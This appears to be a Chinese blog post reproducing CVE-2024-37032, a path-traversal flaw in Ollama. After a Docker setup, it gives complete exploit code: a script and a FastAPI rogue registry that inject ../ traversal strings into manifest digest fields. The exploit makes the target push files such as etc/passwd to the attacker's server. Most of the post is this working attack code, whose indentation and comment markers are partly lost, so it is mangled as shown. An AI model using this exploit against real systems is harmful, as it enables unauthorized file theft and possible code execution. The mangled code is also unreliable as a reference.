CVE-2024-37032-Ollama漏洞

简介

Ollama是一个专为在本地环境中运行和定制大型语言模型而设计的工具。它提供了一个简单高效的接口,用于创建、运行和管理这些模型,同时还提供了一个丰富的预构建模型库,可以轻松集成到各种应用程序中。Ollama的目标是使大型语言模型的部署和交互变得简单,无论是对于开发者还是对于终端用户。

漏洞概述

漏洞编号:CVE-2024-37032 该漏洞允许通过路径遍历任意写入文件。digest字段的验证不正确,服务器错误地将有效负载解释为合法的文件路径,攻击者可在digest字段中包含路径遍历payload的恶意清单文件,利用该漏洞实现任意文件读取/写入或导致远程代码执行。

影响版本

Ollama < 0.1.34

环境搭建

在docker里面设置/etc/docker/daemon.json文件,可供拉取国外镜像(没有可新建)

{

"registry-mirrors": [

"https://registry.docker-cn.com",

"http://hub-mirror.c.163.com",

"https://dockerhub.azk8s.cn",

"https://mirror.ccs.tencentyun.com",

"https://registry.cn-hangzhou.aliyuncs.com",

"https://docker.mirrors.ustc.edu.cn",

"https://docker.m.daocloud.io",

"https://noohub.ru",

"https://huecker.io",

"https://dockerhub.timeweb.cloud"

]

}

好消息docker镜像可以使用了

拉取docker镜像

docker run -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33

发现版本存在漏洞

python3 main.py --file 'etc/hosts' --target 192.168.16.135 --namespace 'mem/test' --host 192.168.16.135

python3 main.py --file 'etc/passwd' --target 192.168.16.135 --namespace 'mem/test' --host 192.168.16.135

对比文件

main.py

import threading

from time import sleep

import requests

import uvicorn

import argparse

from server import create_app

import socket

SLEEP_TIME = 0.5

def get_machine_ip():

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:

s.connect(("8.8.8.8", 80))

ip = s.getsockname()[0]

except Exception:

ip = "127.0.0.1"

finally:

s.close()

return ip

def run_server(file, host, namespace):

app = create_app(file, host, namespace)

uvicorn.run(app, host='0.0.0.0', port=80)

if name == "main":

parser = argparse.ArgumentParser(description="Run FastAPI rogue server and exploit script (CVE-2024-37032).")

parser.add_argument("--file", type=str, required=True, help="The file to read remotely.")

parser.add_argument("--target", type=str, required=True, help="The vulnerable Ollama instance's (target) IP.")

parser.add_argument("--target-ip", type=str, required=False, default=11434, help="The vulnerablr Ollama instance's (target) port.")

parser.add_argument("--host", type=str, required=False, help="Current (attacker) machine's IP.")

parser.add_argument("--namespace", type=str, required=False, default='vsociety/test', help="The string for the rogue registry namespace.")

args = parser.parse_args()

host = args.host or get_machine_ip()

target_url = f"http://{args.target}:{args.target_ip}"

file = args.file.lstrip("/")

Start the server in a new thread

server_thread = threading.Thread(target=run_server, args=(file, host, args.namespace))

server_thread.daemon = True

server_thread.start()

Give the server a moment to start

sleep(SLEEP_TIME)

vuln_registry_url = f"{host}/{args.namespace}"

pull_url = f"{target_url}/api/pull"

push_url = f"{target_url}/api/push"

Now proceed with the requests

requests.post(pull_url, json={"name": vuln_registry_url, "insecure": True})

sleep(SLEEP_TIME)

requests.post(push_url, json={"name": vuln_registry_url, "insecure": True})

Join the server thread if you want to wait for the server to finish (optional)

server_thread.join()

server.py

from fastapi import FastAPI, Request, Response

PATH_TRAVELSAL_STRING = 14

PREFIX = "../" * PATH_TRAVELSAL_STRING

UUID = "3647298c-9588-4dd2-9bbe-0539533d2d04"

STATE = "eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"

def create_app(file: str, host: str, namespace: str):

app = FastAPI()

def write_to_file(text):

try:

with open('response.txt', 'w') as file_to_write:

file_to_write.write(text)

print(f"Content of {file} successfully written to response.txt.")

except IOError:

print(f"Error: Could not write to response.txt.")

@app.get("/")

async def index_get():

return {"message": "Hello!"}

@app.post("/")

async def index_post(callback_data: Request):

#print(await callback_data.body())

return {"message": "Hello!"}

PULL

@app.get(f"/v2/{namespace}/manifests/latest")

async def fake_manifests():

return {

"schemaVersion": 2,

"mediaType": "application/vnd.docker.distribution.manifest.v2+json",

"config": {

"mediaType": "application/vnd.docker.container.image.v1+json",

"digest": f"{PREFIX}{file}",

"size": 10

},

"layers":[

{

"mediaType":"application/vnd.ollama.image.license",

"digest":f"{PREFIX}tmp/notfoundfile",

"size":10

},

{

"mediaType":"application/vnd.docker.distribution.manifest.v2+json",

"digest":f"{PREFIX}{file}",

"size":10

},

{

"mediaType":"application/vnd.ollama.image.license",

"digest":f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest",

"size":10

}

]

}

@app.head(f"/{file}")

async def fake_head(response: Response):

response.headers["Docker-Content-Digest"] = f"{PREFIX}{file}"

return ''

@app.get(f"/{file}", status_code=206)

async def fake_get(response: Response):

response.headers["Docker-Content-Digest"] = f"{PREFIX}{file}"

response.headers["E-Tag"] = f"\"{PREFIX}{file}\""

return 'test'

@app.head(f"/root/.ollama/models/manifests/{host}/{namespace}/latest")

async def fake_latest_head(response: Response):

response.headers["Docker-Content-Digest"] = f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest"

return ''

@app.get(f"/root/.ollama/models/manifests/{host}/{namespace}/latest", status_code=206)

async def fake_latest_get(response: Response):

response.headers["Docker-Content-Digest"] = f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest"

response.headers["E-Tag"] = f"\"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest\""

return {

"schemaVersion": 2,

"mediaType": "application/vnd.docker.distribution.manifest.v2+json",

"config": {

"mediaType": "application/vnd.docker.container.image.v1+json",

"digest": f"{PREFIX}{file}",

"size": 10

},

"layers":[

{

"mediaType":"application/vnd.ollama.image.license",

"digest":f"{PREFIX}tmp/notfoundfile",

"size":10

},

{

"mediaType":"application/vnd.docker.distribution.manifest.v2+json",

"digest":f"{PREFIX}{file}",

"size":10

},

{

"mediaType":"application/vnd.ollama.image.license",

"digest":f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest",

"size":10

}

]

}

@app.head("/tmp/notfoundfile")

async def fake_notfound_head(response: Response):

response.headers["Docker-Content-Digest"] = f"{PREFIX}tmp/notfoundfile"

return ''

@app.get("/tmp/notfoundfile", status_code=206)

async def fake_notfound_get(response: Response):

response.headers["Docker-Content-Digest"] = f"{PREFIX}tmp/notfoundfile"

response.headers["E-Tag"] = f"\"{PREFIX}tmp/notfoundfile\""

return ''

PUSH

@app.post(f"/v2/{namespace}/blobs/uploads/", status_code=202)

async def fake_upload_post(callback_data: Request, response: Response):

#print(await callback_data.body())

response.headers["Docker-Upload-Uuid"] = UUID

response.headers["Location"] = f"http://{host}/v2/{namespace}/blobs/uploads/{UUID}?_state={STATE}"

return ''

@app.patch(f"/v2/{namespace}/blobs/uploads/{UUID}", status_code=202)

async def fake_patch_file(callback_data: Request):

body = await callback_data.body()

decoded_body = body.decode("utf-8")

pretty_body = decoded_body.replace("\n", "\n")

print(pretty_body)

print("Writing response to file...")

write_to_file(pretty_body)

return ''

@app.post(f"/v2/{namespace}/blobs/uploads/{UUID}", status_code=202)

async def fake_post_file(callback_data: Request):

#print(await callback_data.body())

return ''

@app.put(f"/v2/{namespace}/manifests/latest")

async def fake_manifests_put(callback_data: Request, response: Response):

#print(await callback_data.body())

response.headers["Docker-Upload-Uuid"] = UUID

response.headers["Location"] = f"http://{host}/v2/{namespace}/blobs/uploads/{UUID}?_state={STATE}"

return ''

return app

相关推荐
Hello.Reader1 小时前
Flink ZooKeeper HA 实战原理、必配项、Kerberos、安全与稳定性调优
安全·zookeeper·flink
智驱力人工智能2 小时前
小区高空抛物AI实时预警方案 筑牢社区头顶安全的实践 高空抛物检测 高空抛物监控安装教程 高空抛物误报率优化方案 高空抛物监控案例分享
人工智能·深度学习·opencv·算法·安全·yolo·边缘计算
数据与后端架构提升之路2 小时前
论系统安全架构设计及其应用(基于AI大模型项目)
人工智能·安全·系统安全
市场部需要一个软件开发岗位4 小时前
JAVA开发常见安全问题:Cookie 中明文存储用户名、密码
android·java·安全
lingggggaaaa4 小时前
安全工具篇&动态绕过&DumpLsass凭据&Certutil下载&变异替换&打乱源头特征
学习·安全·web安全·免杀对抗
凯子坚持 c4 小时前
CANN-LLM:基于昇腾 CANN 的高性能、全功能 LLM 推理引擎
人工智能·安全
介一安全4 小时前
【Web安全】XML注入全手法拆解
xml·web安全·安全性测试
QT.qtqtqtqtqt5 小时前
未授权访问漏洞
网络·安全·web安全
ShoreKiten5 小时前
ctfshowweb359-360
web安全·ssrf
大方子6 小时前
【PolarCTF】rce1
网络安全·polarctf